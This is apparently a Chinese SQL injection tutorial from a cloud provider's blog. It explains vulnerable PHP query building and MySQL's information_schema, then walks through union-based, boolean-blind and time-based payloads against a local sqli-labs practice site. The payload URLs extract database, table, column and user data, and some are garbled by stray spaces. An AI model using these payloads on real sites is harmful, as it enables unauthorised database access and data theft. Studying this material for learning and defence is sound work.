SQL注入(一)

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,高可用系列 2核4GB
简介: sql注入就是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数可以操控,并且带入数据库进行查询,攻击者可以利用恶意的sql语句来操作数据库。

sql注入就是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数可以操控,并且带入数据库进行查询,攻击者可以利用恶意的sql语句来操作数据库。

以php 代码示例

$sql = "select * from users where id = $_GET['id']";

由于id 这个参数可控,并且可以带入数据库查询,攻击者会拼接恶意SQL语句进攻击。

SQL注入有多种方式

union注入
Boolean注入
报错注入
时间注入
堆叠注入
二次注入
宽字节注入
cookie注入
base64注入
XFF注入

SQL注入的原理

参数可控参数可带入数据库查询
eg:
$sql = "select * from users where id = $_GET['id']";
# 当id= 1' 
select * from users where id = 1'

640.png

不管你怎么输入 都不会显示结果 因为单引号哪里并没有闭合 mysql无法执行此查询语句

eg:
$sql = "select * from users where id = $_GET['id']";
# 当id= 1 and 1=1
select * from users where id = 1 and 1=1

当执行 id = 1 SQL语句会正常执行 1=1 结果为true 因为连接词使用and true and true 结果就为true

MySQL相关知识点

在mysql 5.0 之后 数据库中存放一个特殊的库 information_schema 其中记住该库中三个特殊的表

SCHEMATA   TABLES   COLUMNS

SCHEMATA 表格存储了用户创建的所有数据库的库名

TABLES 存储用户创建的所有数据库的库名和表名

COLUMNS 存储用户创建的所有数据库的库名,表名,字段名

这三个表层层深入 库名 延申 表名 延申 字段名

MySQL查询语句

# 当不知道任何条件时
select 需要查询的字段名 from 库名.表名;
# 在知道已知条件下
select 需要查询的字段名 from 库名.表名 where 已知的字段='已知条件的值';
# 在知道两条已知条件
select 需要查询的字段名 from 库名.表名 where 已知的字段1='已知条件的值1' and 已知的字段2='已知条件的值2';
limit 用法
#  用法
limit m,n  m 记录开始的位置 n 取n条记录 
例如 limit 0,1 从第一条记录开始 去一条记录
特殊函数
database() # 当前网站使用的数据库
version() # 当前mysql版本
user()  # 当前mysql用户
注释符
#
--+
/* */
/*! */

搭建SQL靶场

百度搜索sqllab 源码 下载 windows 安装phpstudy集成环境 把源码解压到phpstudy www目录下,更改配置文件,mysql 用户名密码等。

union注入

先判断是否存在SQL注入

http://127.0.0.1/sqllab/Less-1/?id=1

640.pnghttp://127.0.0.1/sqllab/Less-1/?id=1'

640.png

使用order by 查看字段数

# 看下第一关的sql源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// id 两边使用单引号包裹 我们在使用order by 的时候 也要使用单引号 将其闭合
// http://127.0.0.1/sqllab/Less-1/?id=1' order by 4 --+  得到以下SQL
//  id=1 的字段成功闭合符合sql语句 后面使用了注释符后面的限制就无法执行
SELECT * FROM users WHERE id='1' order by 4 --+' LIMIT 0,1

# 输入3 再去判断  一半使用二分法进行判断字段数
SELECT * FROM users WHERE id='1' order by 3 --+' LIMIT 0,1

使用union 获取信息

# 把id值改为负数 使where后面条件不成立 进而执行select语句
http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,2,3 --+

使用内置函数查看信息

http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,database(),version() --+

# 获取数据库名称后 利用information_schema 获取表名
http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3 --+
# 获取第二个表名
http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 1,1),3 --+

640.png

640.png现在知道了表名和库名 就开始查询字段名

# 字段1
http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),3 --+
# 字段2
http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 1,1),3 --+

知道了库名,表名,字段名 就可以构造SQL语句进行查询数据了

# select email_id from security.emails;http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,(select email_id from security.emails limit 0,1),3 --+

Boolean注入

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:

基于布尔的SQL盲注-逻辑判断
regexp,like,ascii,left,ord,mid
基于时间的SQL盲注-延时判断
if,sleep
基于报错的SQL盲注-报错回显
floor,updatexml,extractvalue
https://www.jianshu.com/p/bc35f8dd4f7c
参考:
like 'ro%'            #判断ro或ro...是否成立 
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0)           #条件成立 返回5 反之 返回0
sleep(5)              #SQL语句延时执行5秒
mid(a,b,c)            #从位置b开始,截取a字符串的c位
substr(a,b,c)         #从b位置开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8  #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
select 查询数据
在网站应用中进行数据显示查询操作
例:select * from news where id=$id
insert 插入数据
在网站应用中进行用户注册添加等操作
例:insert into news(id,url,text) values(2,'x','$t')
delete 删除数据
后台管理里面删除文章删除用户等操作
例:delete from news where id=$id
update 更新数据
会员或后台中心数据同步或缓存等操作
例:update user set pwd='$p' where id=2 and username='admin'
order by 排序数据
一般结合表名或列名进行数据排序操作
例:select * from news order by $id
例:select id,name,price from news order by $order
重点理解:
我们可以通过以上查询方式与网站应用的关系
注入点产生地方或应用猜测到对方的SQL查询方式

报错盲注

#  insert 注入 获取数据库名称


# update 注入 获取MySQL版本

# delete 注入

延迟盲注

     如果数据库字符对应ASCII 编码的115 睡眠5秒 否则输出1
    and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
    // 如果数据库字符对应ASCII 编码的101 睡眠3秒 否则输出0
    and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+
    // 延迟注入
    http://127.0.0.1/sqllib/Less-5/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
    # 利用 BENCHMARK()进行延时注入 
    http://127.0.0.1/sqllib/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BEN CHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as cur rent) as tb1--+
    布尔盲注 
    # 利用 left(database(),1) 尝试 查看版本信息 判断数据库版本是否为5
    http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23
    版本改成6后再访问

    640.png

    # 查看数据库长度是否为8
    http://127.0.0.1/sqllib/Less-5/?id=1%27and%20length(database())=8%23

    # 猜测数据库名称的第一位ASCII编码
    http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27--+

    Database()为 security,所以我们看他的第一位是否 > a,很明显的是 s > a,因此返回正确。当

    我们不知情的情况下,可以用二分法来提高注入的效率

      # 利用 substr() ascii()函数进行尝试
      # ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101
      # 猜测数据表
      http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name% 20from%20information_schema.tables%20where%20table_schema=database()%20limit%20 0,1),1,1))%3E80--+
      http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20i nformation_schema.tables%20where%20table_schema=database()%20limit%200,1),2,1))%3E108 --+
      # 利用 regexp 获取 users 表中的列
      http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%201=(select%201%20from%20information_sch ema.columns%20where%20table_name=%27users%27%20and%20table_name%20regexp%20% 27^us[a-z]%27%20limit%200,1)--+
      # 判断是否有us**的列
      http://127.0.0.1/sqllib/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
      # 利用 ord()和 mid()函数获取 users 表的内容
      http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(usernam e%20AS%20CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20LIMIT%200,1),1,1))= 68--+
      

      相关实践学习
      如何在云端创建MySQL数据库
      开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
      全面了解阿里云能为你做什么
      阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
      相关文章
      |
      2月前
      |
      SQL 安全 数据库
      惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
      在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
      128 5
      |
      2月前
      |
      SQL 安全 数据库
      深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
      在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
      67 5
      |
      2月前
      |
      SQL 安全 数据安全/隐私保护
      Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
      在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
      115 1
      |
      2月前
      |
      SQL 安全 数据库
      Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
      在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
      47 1
      |
      2月前
      |
      SQL 安全 数据库
      深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
      在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
      46 3
      |
      2月前
      |
      SQL 安全 数据库
      从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
      【9月更文挑战第13天】在开发Python Web应用时,安全性至关重要。本文通过问答形式,详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术,确保应用安全。附带示例代码,帮助读者从入门到精通Python Web安全。
      86 6
      |
      2月前
      |
      SQL 安全 JavaScript
      告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
      【9月更文挑战第12天】在Web开发中,安全漏洞如同暗礁,尤其对初学者而言,SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)是常见挑战。本文通过实战案例,展示如何利用Python应对这些威胁。首先,通过参数化查询防止SQL注入;其次,借助Jinja2模板引擎自动转义机制抵御XSS攻击;最后,使用Flask-WTF库生成和验证CSRF令牌,确保转账功能安全。掌握这些技巧,助你构建更安全的Web应用。
      50 5
      |
      4月前
      |
      SQL 安全 数据库
      Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
      【7月更文挑战第26天】在 Python Web 开发中, 安全性至关重要。本文聚焦 SQL 注入、XSS 和 CSRF 这三大安全威胁,提供实战防御策略。SQL 注入可通过参数化查询和 ORM 框架来防范;XSS 则需 HTML 转义用户输入与实施 CSP;CSRF 防御依赖 CSRF 令牌和双重提交 Cookie。掌握这些技巧,能有效加固 Web 应用的安全防线。安全是持续的过程,需贯穿开发始终。
      89 1
      Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
      |
      4月前
      |
      SQL 运维 安全
      WAF如何防御SQL注入?
      【7月更文挑战第25天】WAF如何防御SQL注入?
      300 9